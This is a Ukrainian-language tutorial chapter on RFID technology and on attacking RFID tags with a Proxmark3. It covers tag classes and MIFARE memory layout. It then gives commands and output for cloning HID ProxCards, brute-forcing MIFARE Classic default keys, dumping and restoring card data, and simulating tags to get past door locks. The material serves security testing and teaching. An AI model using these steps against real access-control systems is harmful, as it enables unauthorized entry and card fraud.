Частина 10. Злом радіоканалів. (Радіо ближньої дії: злом RFID)

13 жовтня 2023 13 хвилин Автор: Lady Liberty

Безпека RFID: Захист ізоляції та заходи протидії

Пристроям IoT не завжди потрібна безперервна бездротова передача на великі відстані. Виробники часто використовують радіотехнології малого радіусу дії для з’єднання пристроїв із недорогими передавачами малої потужності. Ці технології дозволяють пристроям обмінюватися невеликими обсягами даних протягом більш тривалих періодів часу і, отже, добре підходять для пристроїв IoT, які можуть економити енергію від блоку живлення між передачею даних. У цьому розділі ми розглянемо найпопулярніше рішення для радіозв’язку малої дальності: радіочастотну ідентифікацію (RFID). Він зазвичай використовується в розумних дверних замках і ключ-картках для ідентифікації користувачів.

с

RFID уразливості: Можливості та ризики

RFID-системи бувають найрізноманітніших форм, підтримуваних діапазонів і розмірів, але зазвичай ми можемо визначити основні компоненти, показані на малюнку 10.1.

Пам’ять RFID-мітки містить інформацію, яка ідентифікує об’єкт. Зчитувач може зчитувати інформацію з мітки за допомогою потужності скануючої антени, яка зазвичай розташована зовні зчитувача і постійно генерує електромагнітне поле, необхідне для цього бездротового з’єднання. Коли антена мітки знаходиться в межах досяжності зчитувача, електромагнітне поле зчитувача генерує електричний струм для живлення RFID-мітки. Потім мітка може отримувати команди від зчитувача RFID і надсилати відповіді, що містять ідентифікаційні дані.

Кілька організацій створили стандарти та правила, які визначають радіочастоту, протоколи та процедури, що використовуються для обміну інформацією за допомогою RFID-технологій. У наступних розділах наведено огляд цих параметрів, принципи безпеки, на яких вони базуються, і методологію тестування пристроїв IoT з підтримкою RFID.

Діапазони радіочастот

RFID-зв’язок використовує ряд технологій, які працюють в певних діапазонах радіочастот, як зазначено в таблиці 10.1.

Кожна з цих RFID-технологій дотримується певного протоколу. Найкраща технологія для використання в системі залежить від таких факторів, як дальність сигналу, швидкість передачі даних, точність і вартість реалізації.

Пасивні та активні RFID-технології

RFID-мітка може покладатися на власне джерело живлення, наприклад вбудовану батарею, або отримувати живлення від зчитаної антени за допомогою струму, індукованого прийнятими радіохвилями. Охарактеризуємо їх як активні або пасивні технології, як показано на мал. 10.2.

Оскільки активним пристроям не потрібне зовнішнє живлення для запуску процесу зв’язку, вони працюють на більш високих частотах і можуть безперервно транслювати свій сигнал. Вони також можуть підтримувати зв’язок на більшій відстані, тому їх часто використовують як маяки стеження. Пасивні пристрої працюють на трьох нижніх частотах RFID-спектра.

Деякі спеціальні пристрої є напівпасивними; Вони містять вбудовані блоки живлення, здатні безперервно живити мікрочіп RFID-мітки, не вимагаючи живлення від сигналу зчитувача. З цієї причини такі пристрої швидше реагують і мають більший діапазон зчитування, ніж пасивні.

Ще одним способом виявлення відмінностей між існуючими RFID-технологіями є порівняння довжин хвиль. У низькочастотних пристроях використовуються довгі хвилі, а у високочастотних – коротші (мал. 10.3).

У цих реалізаціях RFID також використовуються антени з дуже різними розмірами та кількістю витків дроту, як показано в таблиці 1. 10.2. Форма кожної антени забезпечує найкращий діапазон і швидкість передачі даних для кожної використовуваної довжини хвилі.

Структура RFID-мітки

Щоб зрозуміти існуючі загрози кібербезпеці у сфері RFID-міток, потрібно знати, як працюють ці пристрої. Комерційні мітки, як правило, відповідають міжнародним стандартам ISO/IEC 18000 і EPCglobal, які визначають ряд різних технологій RFID, кожна з яких використовує унікальний частотний діапазон.

Класи міток

EPCglobal поділяє RFID-мітки на шість категорій. Мітка в кожній категорії має всі можливості, перераховані в попередній категорії, що забезпечує зворотну сумісність.

Мітки класу 0 – це пасивні пристрої, які працюють в УВЧ-діапазонах. Постачальник попередньо програмує їх на заводі. В результаті ви не зможете змінити інформацію, що зберігається в їх пам’яті.

Мітки класу 1 також можуть працювати в радіочастотних діапазонах. Крім того, вони можуть бути записані лише один раз після виробництва. Багато міток класу 1 також можуть виконувати циклічну перевірку надмірності (CRC) для отриманих команд. CRC — це кілька додаткових байтів наприкінці команд для виявлення помилок.

Мітки класу 2 можна записувати кілька разів.

Мітки класу 3 можуть містити вбудовані датчики, здатні реєструвати параметри навколишнього середовища, такі як поточна температура або переміщення. Ці мітки є напівпасивними, оскільки, незважаючи на наявність вбудованого джерела живлення, такого як вбудований акумулятор, вони не можуть ініціювати бездротовий зв’язок з іншими мітками або зчитувачами.

На противагу цьому, мітки 4-го класу можуть ініціювати зв’язок з іншими мітками того ж класу, тому вони вважаються активними.

Мітки 5 класу вважаються найбільш просунутими, так як вони можуть забезпечувати живлення інших міток і взаємодіяти з мітками всіх попередніх класів. Мітки класу 5 можуть виступати в ролі зчитувачів RFID.

Інформація, що зберігається в RFID-мітках

У пам’яті RFID-мітки зазвичай зберігаються чотири типи даних: а) ідентифікаційні дані, що ідентифікують об’єкт, до якого прикріплена мітка; б) додаткові дані, що надають додаткову інформацію про об’єкт; (c) контрольні дані, що використовуються для внутрішньої конфігурації етикетки; г) дані виробника етикетки, які містять унікальний ідентифікатор етикетки (UID) та відомості про виробництво, тип і постачальника етикетки. Перші два типи даних можна знайти в усіх комерційних мітках. Останні два можуть відрізнятися залежно від постачальника етикетки.

Ідентифікаційні дані включають визначені користувачем поля, такі як банківські рахунки, штрих-коди товарів і ціни. Вони також включають в себе ряд регістрів, визначених стандартами, яким відповідають етикетки. Наприклад, стандарт ISO визначає значення ідентифікатора сімейства додатків (AFI), який є кодом, що вказує на тип об’єкта, до якого належить тег. Бирка для дорожнього багажу використовуватиме інший попередньо визначений AFI, ніж тег для бібліотечної книги. Ще одна важлива книга обліку,  також визначається ISO, це  ідентифікатор формату зберігання  даних (DSFID), який визначає логічну організацію даних користувача.

Додаткові дані можуть обробляти інші деталі, визначені стандартами, такі як ідентифікатори додатків (AI), ідентифікатори даних ANSI MH-10 (DI) та ідентифікатори текстових елементів ATA (TEI), які ми тут не будемо обговорювати.

RFID-мітки також підтримують різні види заходів безпеки, залежно від виробника бирки. Більшість з них мають механізми, що обмежують читання або запис в кожен блок пам’яті користувача і в спеціальні регістри, що містять значення AFI і DSFID. Ці механізми блокування використовують дані, що зберігаються в контрольній пам’яті, і мають паролі за замовчуванням, попередньо налаштовані постачальником, але дозволяють власникам міток налаштовувати власні паролі.

Низькочастотні RFID-мітки

До низькочастотних RFID-пристроїв відносяться ключ-карти, які співробітники використовують для відкривання дверей, невеликі скляні конусоподібні мітки, імплантовані домашніми тваринами, і термостійкі RFID-мітки для пралень, промислових підприємств і логістики. Ці пристрої використовують пасивну технологію RFID і працюють в діапазоні від 30 до 300 кГц, хоча більшість пристроїв, які люди використовують щодня для відстеження, доступу або перевірки, працюють у вужчому діапазоні від 125 до 134 кГц. Низькочастотні мітки мають невеликий об’єм пам’яті, низьку швидкість передачі даних, слабкий захист від вологи та пилу, на відміну від високочастотних технологій.

Часто ми використовуємо низькочастотні мітки для контролю доступу. Причина в тому, що їх невелика ємність пам’яті дозволяє зберігати лише невеликі обсяги даних, наприклад ідентифікатори, які використовуються для автентифікації. Одна з найскладніших міток, ProxCard від HID (мал. 10.4), використовує невелику кількість байтів для підтримки унікальних ідентифікаторів, які система управління тегами може використовувати для аутентифікації користувачів.

Інші компанії, такі як NXP, зі своїми тегами Hitag2 і зчитувачами, запровадили додаткові заходи безпеки; Наприклад, протокол взаємної автентифікації, який використовує спільний ключ для захисту зв’язку між тегом і зчитувачем. Ця технологія дуже популярна в протиугінних системах транспортних засобів.

Високочастотні RFID-мітки

Високочастотні RFID-мітки повсюдно поширені в таких додатках, як платіжні системи, і змінюють правила гри у світі безконтактних платежів. Багато людей називають це зв’язком ближнього поля (NFC), терміном для пристроїв, які працюють на частоті 13,56 МГц. Одними з найважливіших технологій NFC є карти MIFARE і мікроконтролери NFC, інтегровані в мобільні телефони.

Одним з найпопулярніших постачальників високочастотних міток є компанія NXP, яка контролює приблизно 85% ринку безконтактних технологій. Мобільні пристрої часто оснащуються підтримкою NFC. Наприклад, нові версії iPhone XS і XS Max оснащені контролером NXP 100VB27. Це дозволяє iPhone зв’язуватися з іншими транспондерами NFC і виконувати такі завдання, як безконтактні платежі. Крім того, NXP має кілька недорогих і добре задокументованих мікроконтролерів, таких як PN532, які використовуються в дослідницьких цілях. PN532 підтримує режими читання та запису, однорангового зв’язку та емуляції.

NXP також розробляє картки MIFARE – безконтактні смарт-картки на основі стандарту ISO/IEC 14443. Бренд MIFARE має різні сімейства, такі як MIFARE Classic, MIFARE Plus, MIFARE Ultralight, MIFARE DESFire та MIFARE SAM.Відповідно до NXP, ці карти реалізують методи шифрування AES та DES/Triple-DES, тоді як деякі версії, такі як MIFARE Classic, MIFARE SAM та MIFARE Plus, також підтримують власний алгоритм шифрування Crypto-1.

Атака на RFID-системи за допомогою Proxmark3

У цьому розділі ми розглянемо ряд атак на RFID-мітки. Ми клонуємо теги, які видають себе за законну фізичну або юридичну особу. Ми також обійдемо захист картки, щоб змінити вміст, що зберігається в пам’яті картки. Крім того, ми створимо простий фуззер, який можна використовувати проти пристроїв з можливістю зчитування RFID.

В якості кардрідера ми будемо використовувати Proxmark3 – універсальний RFID-інструмент з потужним мікроконтролером, здатним зчитувати і емулювати низькочастотні і високочастотні мітки (https://github.com/Proxmark/proxmark3/wiki). Наразі Proxmark3 коштує менше 300 доларів. США. Ви також можете використовувати версії інструменту Proxmark3 EVO та Proxmark3 RDV4. Для того, щоб зчитувати мітки живлення Proxmark3, вам знадобляться антени, призначені для діапазону частот конкретної RFID-карти, яку ви зчитуєте (див. Таблицю 10.2 для зображень типів антен). Ви можете придбати ці антени у тих самих дистриб’юторів, які пропонують Proxmark3.

Ми також покажемо вам, як використовувати безкоштовні програми для перетворення будь-якого пристрою Android із підтримкою NFC на пристрій для зчитування карт MIFARE.

Для проведення цих тестів ми будемо використовувати HID ProxCard, а також ряд незапрограмованих тегів T55x7 і NXP MIFARE Classic 1K, які коштують менше 2 доларів. Кожний.

Налаштування Proxmark3

Щоб використовувати Proxmark3, спочатку потрібно встановити на комп’ютер ряд необхідних пакетів. Ось як це зробити за допомогою apt:

$ sudo apt install git build-essential libreadline5 libreadline-dev gcc-armnoneeabi libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config
libpcsclite-dev pcscd

Потім за допомогою  команди git завантажте вихідний код з віддаленого репозиторію Proxmark3. Далі перейдіть до його папки та виконайте  команду make, щоб зібрати необхідні двійкові файли:

$ git clone https://github.com/Proxmark/proxmark3.git
$ cd proxmark3
$ make clean && make all

Тепер ви готові підключити Proxmark3 до комп’ютера за допомогою кабелю USB. Після цього визначте послідовний порт, до якого підключено пристрій, за допомогою  команди dmesg, доступної в Kali Linux. Ви можете використовувати цю команду, щоб отримати інформацію про обладнання у вашій системі:

$ dmesg
[44643.237094] usb 1-2.2: new full-speed USB device number 5 using uhci_hcd
[44643.355736] usb 1-2.2: New USB device found, idVendor=9ac4, idProduct=4b8f, bcdDevice= 0.01
[44643.355738] usb 1-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[44643.355739] usb 1-2.2: Product: proxmark3
[44643.355740] usb 1-2.2: Manufacturer: proxmark.org
[44643.428687] cdc_acm 1-2.2:1.0: ttyACM0: USB ACM device

Виходячи з вихідних даних, ми знаємо, що пристрій підключено до послідовного порту /dev/ttyACM0.

Оновлення Proxmark3

Оскільки вихідний код Proxmark3 часто змінюється, ми рекомендуємо оновити пристрій перед його використанням. Програмне забезпечення пристрою складається з операційної системи, образу завантажувача та образу FPGA. Завантажувач виконує операційну систему, тоді як образ FPGA — це код, який виконується на вбудованому пристрої FPGA.

Остання версія завантажувача знаходиться у файлі bootrom.elf у папці вихідного коду. Щоб встановити завантажувач, утримуйте кнопку Proxmark3 під час підключення пристрою до комп’ютера, доки не загоряться червоний і жовтий світлодіоди на пристрої. Потім, утримуючи кнопку, використовуйте двійковий файл flasher в папці вихідного коду для установки   образу. В якості параметрів передайте йому послідовний інтерфейс Proxmark3 і  перемикач -b Щоб визначити шлях до образу завантажувача:

$ ./client/flasher /dev/ttyACM0 -b ./bootrom/obj/bootrom.elf
Loading ELF file '../bootrom/obj/bootrom.elf'...
Loading usable ELF segments:
0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
1: V 0x00200000 P 0x00100200 (0x00000c84->0x00000c84) [R X] @0x298
Waiting for Proxmark to appear on /dev/ttyACM0 .
Found.
Flashing...
Writing segments for file: ../bootrom/obj/bootrom.elf
0x00100000..0x001001ff [0x200 / 1 blocks]. OK
0x00100200..0x00100e83 [0xc84 / 7 blocks]....... OK
Resetting hardware...
All done.
Have a nice day!

Ви можете знайти останні версії операційної системи та образ FPGA в одному файлі під назвою fullimage.elf у папках вихідного коду. Якщо ви використовуєте Kali Linux, вам також слід зупинити та вимкнути ModemManager. ModemManager — фонова служба, яка керує мобільними широкосмуговими пристроями та з’єднаннями у багатьох дистрибутивах Linux; він може створювати перешкоди для підключених пристроїв, таких як Proxmark3. Щоб зупинити та вимкнути цю службу, скористайтеся командою systemectl, яка постачається з попередньо встановленою командою Kali Linux:

# systemctl stop ModemManager
# systemctl disable ModemManager

Ви можете скористатися інструментом Flasher, щоб знову записати на флеш-пам’ять, цього разу без параметра – b.

# ./client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf
Loading ELF file 'armsrc/obj/fullimage.elf'...
Loading usable ELF segments:
0: V 0x00102000 P 0x00102000 (0x0002ef48->0x0002ef48) [R X] @0x94
1: V 0x00200000 P 0x00130f48 (0x00001908->0x00001908) [RW ] @0x2efdc
Note: Extending previous segment from 0x2ef48 to 0x30850 bytes
Waiting for Proxmark to appear on /dev/ttyACM0 .
Found.
Flashing...
Writing segments for file: armsrc/obj/fullimage.elf
0x00102000..0x0013284f [0x30850 / 389 blocks]......... OK
Resetting hardware...
All done.
Have a nice day!

Proxmark3 RVD 4.0 також підтримує команду для автоматизації повного завантажувача, операційної системи та процесу оновлення FPGA:

$ ./pm3-flash-all

Щоб дізнатися, чи пройшло оновлення успішно, запустіть виконуваний файл Proxmark3, який знаходиться  в папці клієнта, і передайте його в послідовний інтерфейс пристрою:

# ./client/proxmark3 /dev/ttyACM0
Prox/RFID mark3 RFID instrument
bootrom: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:22:59
os: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:23:00
fpga_lf.bit built for 2s30vq100 on 2015/03/06 at 07:38:04
fpga_hf.bit built for 2s30vq100 on 2019/10/06 at 16:19:20
SmartCard Slot: not available
uC: AT91SAM7S512 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 512K bytes. Used: 206927 bytes (39%). Free: 317361 bytes
(61%).
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
proxmark3>

Команда повинна відображати атрибути пристрою, такі як тип вбудованого процесора, розмір пам’яті та ідентифікатор архітектури, за якими слідує запит.

Визначення карт низької та високої частоти

Тепер давайте дізнаємося, як визначити різні типи RFID-карт. Програмне забезпечення Proxmark3 поставляється з попередньо завантаженим списком відомих RFID-карт від різних виробників і підтримує специфічні команди, які можна використовувати для керування цими картами.

Перш ніж використовувати Proxmark3, підключіть його до антени, яка відповідає типу карти. Якщо ви використовуєте нову модель Proxmark3 RVD 4.0, антени виглядатимуть дещо інакше, оскільки вони компактніші. Перегляньте документацію постачальника, щоб визначити правильний варіант для кожного випадку.

Всі команди Proxmark3 починаються або з параметра lf для взаємодії з низькочастотними картами, або з параметра hf для  взаємодії з високочастотними картами. Щоб визначити відомі карти, скористайтеся  параметром пошуку. У наведеному нижче прикладі ми використовуємо Proxmark3 для розпізнавання низькочастотної карти Hitag2:

proxmark3> lf search
Checking for known tags:
Valid Hitag2 tag found - UID: 01080100

Наступна команда розпізнає високочастотну мітку NXP ICode SLIX:

proxmark3> hf search
UID: E0040150686F4CD5
Manufacturer byte: 04, NXP Semiconductors Germany
Chip ID: 01, IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)
Valid ISO15693 Tag Found - Quiting Search

Залежно від постачальника етикетки, результати команди також можуть включати виробника, ідентифікаційний номер чіпа або відомі вразливості, пов’язані з етикеткою.

Клонування низькочастотних міток

Спробуємо клонувати етикетку, починаючи з низькочастотної версії. Низькочастотні карти, доступні на ринку, включають, серед інших, HID ProxCard, Cotag, Awid, Indala та Hitag, але найпоширенішими є HID ProxCard. У цьому розділі ми клонуємо ProxCard за допомогою Proxmark3, а потім створимо нову мітку, що містить ті самі дані. Ви можете використовувати цей тег, щоб підробити об’єкт із законним тегом, наприклад співробітника компанії, і розблокувати розумний дверний замок корпоративної будівлі.

Для початку використовуйте команду для пошуку низькочастотних карт, які знаходяться в радіусі дії Proxmark3. Якщо виробником виявленої карти є HID, результат, як правило, виглядатиме так:

proxmark3> lf search
Checking for known tags:
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725
[+] Valid HID Prox ID Found!

Далі вивчіть специфічні команди виробника для HID-пристроїв, вказавши параметр hid:

proxmark3> lf hid
help this help
demod demodulate HID Prox tag from the GraphBuffer
read attempt to read and extract tag data
clone clone HID to T55x7
sim simulate HID tag
wiegand convert facility code/card number to Wiegand code
brute bruteforce card number against reader

Тепер спробуйте прочитати дані мітки:

proxmark3> lf hid read
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725

Команда повинна повертати точний ідентифікатор тегу HID.

Щоб клонувати цю мітку за допомогою Proxmark3, використовуйте порожню або раніше незапрограмовану карту T55x7. Ці карти зазвичай сумісні з технологіями EM4100, HID та Indala. Розташуйте T55x7 над низькочастотною антеною та виконайте наступну команду, передавши їй ідентифікатор мітки, яку ви хочете клонувати:

proxmark3> lf hid clone 2004246b3a
Cloning tag with ID 2004246b3a

Тепер ви можете використовувати картку T55x7 так, ніби вона є оригінальною.

Клонування високочастотних міток

Хоча високочастотні технології забезпечують кращу безпеку, ніж низькочастотні, неправильні або ранні впровадження можуть бути вразливими до атак. Наприклад, карти MIFARE Classic є одними з найбільш уразливих високочастотних карт, оскільки вони використовують ключі за замовчуванням і власний незахищений криптографічний механізм. У цьому розділі ми розглянемо процес клонування карти MIFARE Classic.

Класичний розподіл пам’яті MIFARE

Щоб зрозуміти можливі вектори атак MIFARE Classic, проаналізуємо розподіл пам’яті в найпростішій карті MIFARE Classic 1KB (мал. 10.5).

Карта MIFARE Classic об’ємом 1 КБ має 16 секторів. Кожен сектор займає чотири блоки, і кожен блок містить 16 байт. Виробник зберігає UID карти в секторі 0 блоку 0, який ви не можете змінити.

Для доступу до кожного сектора вам знадобляться два ключі, A і B. Ключі можуть бути різними, але багато реалізацій використовують ключі за замовчуванням (FFFFFFFFFFFFF є одним із таких ключів). Ці ключі зберігаються в блоці 3 кожного сектора, який називається  секторним трейлером. У трейлері секторів також зберігаються біти доступу, які встановлюють дозволи на читання та запис для кожного блоку з двома ключами.

Щоб зрозуміти, чому корисно мати дві клавіші, давайте розглянемо приклад: карти, якими ми користуємося для проїзду в метро. Ці карти можуть дозволити RFID-зчитувачу зчитувати всі блоки даних з ключовим живленням A або B, але записувати на них тільки з ключовим живленням B. В результаті, RFID-зчитувач на турнікеті, який має лише ключ A, може зчитувати дані картки, розблоковувати турнікет для користувачів із достатнім балансом і зменшувати ваш баланс. Але знадобиться спеціальний термінал з клавішею В, щоб записувати або збільшувати баланс користувачів. Касир на вокзалі – єдина людина, яка може керувати цим терміналом.

Біти доступу розташовані між двома типами ключів. Якщо компанія неправильно налаштує ці біти, наприклад, ненавмисно надасть дозволи на запис, зловмисники можуть підробити дані блоку сектора. У табл. На малюнку 10.3 перераховані можливі дозволи на управління доступом, які можуть бути визначені за силою цих бітів доступу.

Ви можете використовувати різні методи для маніпулювання картами MIFARE Classic, а також спеціальне обладнання, таке як Proxmark3 або Arduino з платою PN532. Навіть менш складного обладнання, такого як смартфон Android, може бути достатньо для копіювання, клонування та відтворення карти MIFARE Classic, але багато дослідників апаратного забезпечення віддають перевагу Proxmark3 перед іншими рішеннями через попередньо завантажені команди.

Щоб переглянути атаки, які ви можете виконати проти MIFARE Classic, використовуйте команду hf mf:

proxmark3> hf mf
help This help
darkside Darkside attack. read parity error messages.
nested Nested attack. Test nested authentication
hardnested Nested attack for hardened MIFARE cards
keybrute J_Run's 2nd phase of multiple sector nested authentication key recovery
nack Test for MIFARE NACK bug
chk Check keys
fchk Check keys fast, targets all keys on card
decrypt [nt] [ar_enc] [at_enc] [data] - to decrypt snoop or trace
-----------
dbg Set default debug mode
…

Більшість цих команд реалізують атаки грубої сили на використовуваний протокол аутентифікації  (наприклад, команди chk і fchk) або атаки на відомі вразливості (наприклад, команди nack, darkside і hardnested). У главі     15 ми будемо використовувати команду darkside.

Злом ключів методом перебору

Щоб прочитати блоки пам’яті карти MIFARE, потрібно знайти ключі для кожного з 16 секторів. Найпростіший спосіб зробити це – виконати атаку грубої сили та спробувати аутентифікуватися за допомогою стандартного списку ключів. У Proxmark3 є спеціальна команда для цієї атаки – chk (скорочення від check). Ця команда використовує список відомих паролів для спроби прочитати карту.

Щоб виконати цю атаку, спочатку виберіть команди у високочастотному діапазоні з потужністю  параметра hf, а потім параметр mf, який покаже вам команди для карт MIFARE. Потім додайте  параметр chk, щоб вибрати атаку грубої сили. Також слід вказати кількість блоків, на які ви орієнтуєтеся. Це може бути параметр від 0x00 до 0xFF або символ *, який виділяє всі блоки,  за яким слідує число, що вказує на обсяг пам’яті мітки (0 = 320 байт, 1 = 1 КБ, 2 = 2 КБ і 4 = 4 КБ).

Далі вкажіть тип  ключа: A для ключів типу A, B  для ключів типу B,  і ? Ви також можете  використовувати параметр d для запису ідентифікованих ключів у  двійковий файл або параметр t для  завантаження ідентифікованих ключів безпосередньо в пам’ять емулятора Proxmark3 для подальшого використання, наприклад, для читання певних блоків або секторів.

Далі ви можете вказати або список ключів, розділених пробілами, або файл, який містить ці ключі. Proxmark3 містить список за замовчуванням у папці вихідного коду за адресою ./client/default_keys.dic. Якщо ви не надасте власний список або файл ключа, Proxmark3 використовуватиме цей файл для перевірки 17 найпоширеніших ключів за замовчуванням.

Ось приклад виконання атаки методом підбору:

$ proxmark3> hf mf chk *1 ? t ./client/default_keys.dic
--chk keys. sectors:16, block no: 0, key type:B, eml:n, dmp=y checktimeout=471 us
chk custom key[ 0] FFFFFFFFFFFF
chk custom key[ 1] 000000000000
…
chk custom key[91] a9f953def0a3
To cancel this operation press the button on the proxmark...
--o.
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|001| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|002| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|003| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
…
|014| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|015| FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1 |
|---|----------------|---|----------------|---|
32 keys(s) found have been transferred to the emulator memory

Якщо команда виконана успішно, виводиться таблиця з клавішами A і B для 16 секторів. Якщо ви використовували варіант B, Proxmark3 зберігатиме ключі у файлі з назвою dmppedkeys.bin, і результат виглядатиме так:

Found keys have been dumped to file dumpkeys.bin.

Останні версії Proxmark3, такі як RVD 4.0, підтримують оптимізовану версію тієї ж команди під назвою fchk. Він приймає два параметри: розмір пам’яті тега і  параметр t (transfer), який можна використовувати для завантаження ключів в пам’ять Proxmark3:

proxmark3> hf mf fchk 1 t
[+] No key specified, trying default keys
[ 0] FFFFFFFFFFFF
[ 1] 000000000000
[ 2] a0a1a2a3a4a5
[ 3] b0b1b2b3b4b5
…

Зчитування та клонування картографічних даних

За допомогою клавіш можна почати зчитувати сектори або блоки  з потужністю параметра rdbl. Наступна команда читає блок під номером 0 за допомогою клавіші A FFFFFFFFFFFF:

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:FF FF FF FF FF FF
data: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D

Прочитати весь сектор можна за тією ж методикою з командою  hf mf rdsc:

proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF
--sector no:0 key type:A key:FF FF FF FF FF FF
isOk:01
data : B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
trailer: 00 00 00 00 00 00 FF 07 80 69 FF FF FF FF FF FF
Trailer decoded:
Access block 0: rdAB wrAB incAB dectrAB
Access block 1: rdAB wrAB incAB dectrAB
Access block 2: rdAB wrAB incAB dectrAB
Access block 3: wrAbyA rdCbyA wrCbyA rdBbyA wrBbyA
UserData: 69

Щоб клонувати мапу MIFARE, використовуйте опцію дампа. Ця опція записує файл з усією інформацією з вихідної карти. Ви можете зберегти та повторно використати цей файл пізніше, щоб створити нову, свіжу копію оригінальної карти.

Опція  дампа дозволяє призначити ім’я файлу або тип карти, дамп якої ви хочете зберегти. Просто передайте розмір пам’яті карти. У цьому прикладі ми використовуємо 1 для розміру пам’яті 1 КБ (хоча, оскільки 1 є розміром за замовчуванням, його можна опустити). Команда використовує ключі, які ми зберегли у файлі dumpkeys.bin для доступу до карти:

proxmark3> hf mf dump 1
[=] Reading sector access bits...
...
[+] Finished reading sector access bits
[=] Dumping all blocks from card...
[+] successfully read block 0 of sector 0.
[+] successfully read block 1 of sector 0.
...
[+] successfully read block 3 of sector 15.
[+] time: 35 seconds
[+] Succeeded in dumping all blocks
[+] saved 1024 bytes to binary file hf-mf-B46F6F79-data.bin

Ця команда зберігає дані у файлі з назвою hf-mf-B46F6F79data.bin. Ви можете передати .bin файли безпосередньо на іншу RFID-мітку.

Деякі прошивки Proxmark3, що підтримуються сторонніми розробниками, зберігають дані ще в двох файлах з розширеннями .eml і .json. Ви можете завантажити файл .eml у пам’ять Proxmark3 для подальшого використання, а також використовувати файл .json зі стороннім програмним забезпеченням та іншими пристроями емуляції RFID, такими як ChameleonMini. Ці дані можна легко конвертувати з одного формату файлу в інший, вручну або за допомогою ряду автоматизованих сценаріїв, про які ми розповімо в розділі «Автоматизація RFID-атак за допомогою можливостей скриптів для Proxmark3».

Щоб скопіювати збережені дані на нову карту, розмістіть карту в зоні дії  антени Proxmark3  і скористайтеся  опцією відновлення Proxmark3:

proxmark3> hf mf restore
[=] Restoring hf-mf-B46F6F79-data.bin to card
Writing to block 0: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
[+] isOk:00
Writing to block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[+] isOk:01
Writing to block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
…
Writing to block 63: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF
[+] isOk:01
[=] Finish restore

Щоб ця команда працювала, карта не обов’язково має бути порожньою, але  команда restore знову використовує файл dumpkeys.bin  для доступу до карти. Якщо поточні ключі карти відрізняються від ключів, що зберігаються у файлі dumpkeys.bin, операція запису завершиться помилкою.

Імітація RFID-мітки

У попередньому прикладі ми клонували  RFID-мітку, зберігши вихідні дані тегу у файлах за допомогою команди дампа  та використовуючи нову карту для відновлення витягнутих даних. Але також можна імітувати RFID-мітку за допомогою потужності Proxmark3, витягуючи дані безпосередньо з пам’яті пристрою.

Завантажте раніше збережений вміст тега MIFARE в пам’ять Proxmark3 за допомогою опції завантаження. Вкажіть ім’я файлу .eml, де зберігаються витягнуті дані:

proxmark3> hf mf eload hf-mf-B46F6F79-data

Зауважте, що цій команді іноді не вдається перенести дані з усіх збережених секторів до пам’яті Proxmark3. У цьому випадку ви отримаєте повідомлення про помилку. Багаторазове використання команди вирішить цю проблему та успішно завершить перенесення.

Для імітації RFID-мітки з використанням даних з пам’яті пристрою використовується параметр sim:

proxmark3> hf mf sim *1 u 8c61b5b4
mf sim cardsize: 1K, uid: 8c 61 b5 b4 , numreads:0, flags:3 (0x03)
#db# 4B UID: 8c61b5b4
#db# SAK: 08
#db# ATQA: 00 04

Символ * виділяє всі блоки тега, а наступна цифра вказує на обсяг пам’яті (в даному випадку 1 – це 1 КБ для MIFARE Classic).

Параметр  u  визначає UID імітованої RFID-мітки.

Багато пристроїв IoT, таких як розумні дверні замки, використовують UID-мітки для керування доступом до кімнати. Ці замки засновані на списку ідентифікаторів бирок, пов’язаних з конкретними людьми, яким дозволено відкривати двері. Наприклад, замок на офісних дверях може відчинитися лише тоді, коли до замка піднесено RFID-мітку з UID 8c61b5b4, яка, як відомо, належить законному працівнику.

Коректний UID можна знайти, моделювавши мітки з випадковими значеннями UID. Це може спрацювати, якщо теги, які ви хочете зламати, використовують UID з невеликим діапазоном значень, і можливі дублікати.

Зміна вмісту RFID-міток

У деяких випадках корисно змінити вміст того чи іншого блоку або сектора. Наприклад, більш просунутий офісний дверний замок не просто перевірить UID бирки; Він також перевірить конкретне значення, пов’язане з законним співробітником, що зберігається в одному з блоків етикеток. Як і в прикладі в розділі «Моделювання RFID-міток», вибір довільного значення може дозволити вам обійти контроль доступу.

Щоб змінити певний блок MIFARE для мітки, що зберігається в пам’яті Proxmark3, використовуйте  параметр eset, а потім номер блоку та вміст, який потрібно додати до блоку в шістнадцятковому форматі. У цьому прикладі ми встановимо значення 000102030405060708090a0b0c0d0e0f у блоці під номером 01:

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f

Щоб перевірити результат, скористайтеся  командою eget, після чого повторно введіть номер блоку:

proxmark3> hf mf eget 01
data[ 1]:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

